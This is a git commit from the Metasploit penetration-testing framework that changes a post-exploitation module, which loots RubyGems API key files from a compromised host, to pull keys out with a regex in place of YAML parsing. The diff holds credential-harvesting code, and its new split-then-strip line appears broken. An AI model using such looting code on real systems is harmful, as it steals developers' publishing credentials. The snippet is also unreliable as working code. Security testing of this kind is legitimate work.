Prefer a regex over YAML parsing

Fixes a bug introduced in #4645
bug/bundler_fix
Tod Beardsley 2015-01-27 10:34:38 -06:00
parent 515b125192
commit cafbd1af51
No known key found for this signature in database
GPG Key ID: BD63D0A3EA19CAAC
1 changed files with 13 additions and 1 deletions

View File

@ -40,13 +40,25 @@ class Metasploit4 < Msf::Post
download_key(paths)
end
# Ruby gem credentials are pretty standard and can come
# in a few flavors, but the most common are straight yaml
# and json, both of which are colon delimited. I suppose
# you could concievably have more than one, but that'd be
# manually editing, and the first one is probably the best
# one anyway.
def extract_key(path)
data = read_file(path)
keys = data.split(":").strip.select {|k| k =~ /[0-9a-f]{32}/ }
keys.first
end
def download_key(paths)
print_status("Looting #{paths.count} files")
paths.each do |path|
path.chomp!
next if ['.', '..'].include?(path)
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
rubygems_api_key = extract_key(path)
next unless rubygems_api_key
print_good("Found a RubyGems API key: #{rubygems_api_key}")